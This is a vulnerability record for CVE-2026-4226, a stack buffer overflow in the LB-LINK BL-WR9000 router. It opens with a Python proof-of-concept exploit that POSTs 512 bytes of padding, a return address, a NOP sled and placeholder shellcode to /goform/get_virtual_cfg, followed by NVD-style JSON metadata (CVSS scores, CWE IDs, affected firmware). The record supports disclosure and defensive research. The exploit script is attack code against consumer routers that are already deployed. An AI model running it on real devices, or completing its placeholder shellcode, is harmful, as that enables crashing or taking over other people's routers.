CVE-2026-4226

import requests # CVE-2026-4226 PoC - LB-LINK BL-WR9000 Stack Buffer Overflow # Target: LB-LINK BL-WR9000 router # Endpoint: /goform/get_virtual_cfg target_ip = "192.168.1.1" # Router IP target_port = 80 # Construct malicious payload with oversized input # The vulnerability is in sub_44E8D0 function # Sending oversized string triggers stack buffer overflow def exploit_buffer_overflow(): url = f"http://{target_ip}:{target_port}/goform/get_virtual_cfg" # Payload to trigger overflow - 512 bytes padding + return address padding = b"A" * 512 return_addr = b"\x42\x42\x42\x42" # Placeholder address nop_sled = b"\x90" * 100 shellcode = b"\xcc" * 50 # Int3 breakpoint as placeholder shellcode payload = padding + return_addr + nop_sled + shellcode headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "admin:language=cn" } try: response = requests.post(url, data=payload, headers=headers, timeout=5) print(f"Response Status: {response.status_code}") print(f"Response Length: {len(response.content)}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": print("CVE-2026-4226 PoC for LB-LINK BL-WR9000") print("Target: /goform/get_virtual_cfg") exploit_buffer_overflow()

{"cve": {"id": "CVE-2026-4226", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:15.527", "lastModified": "2026-03-20T18:21:05.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in LB-LINK BL-WR9000 2.4.9. The affected element is the function sub_44E8D0 of the file /goform/get_virtual_cfg. Executing a manipulation can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se ha identificado una debilidad en LB-LINK BL-WR9000 2.4.9. El elemento afectado es la función sub_44E8D0 del archivo /goform/get_virtual_cfg. Ejecutar una manipulación puede llevar a un desbordamiento de búfer basado en pila. El ataque puede realizarse de forma remota. El exploit ha sido puesto a disposición del público y podría ser utilizado para ataques. El proveedor fue contactado tempranamente sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:lb-link:bl-wr9000_firmware:2.4.9:*:*:*:*:*:*:*", "matchCriteriaId": "0A23AFF5-C85A-4422-933E-02547D9E2859"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:lb-link:bl-wr9000:-:*:*:*:*:*:*:*", "matchCriteriaId": "29EAB380-0F6C-4E9A-B7DA-5C36021E4175"}]}]}], "references": [{"url": "https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_ ... 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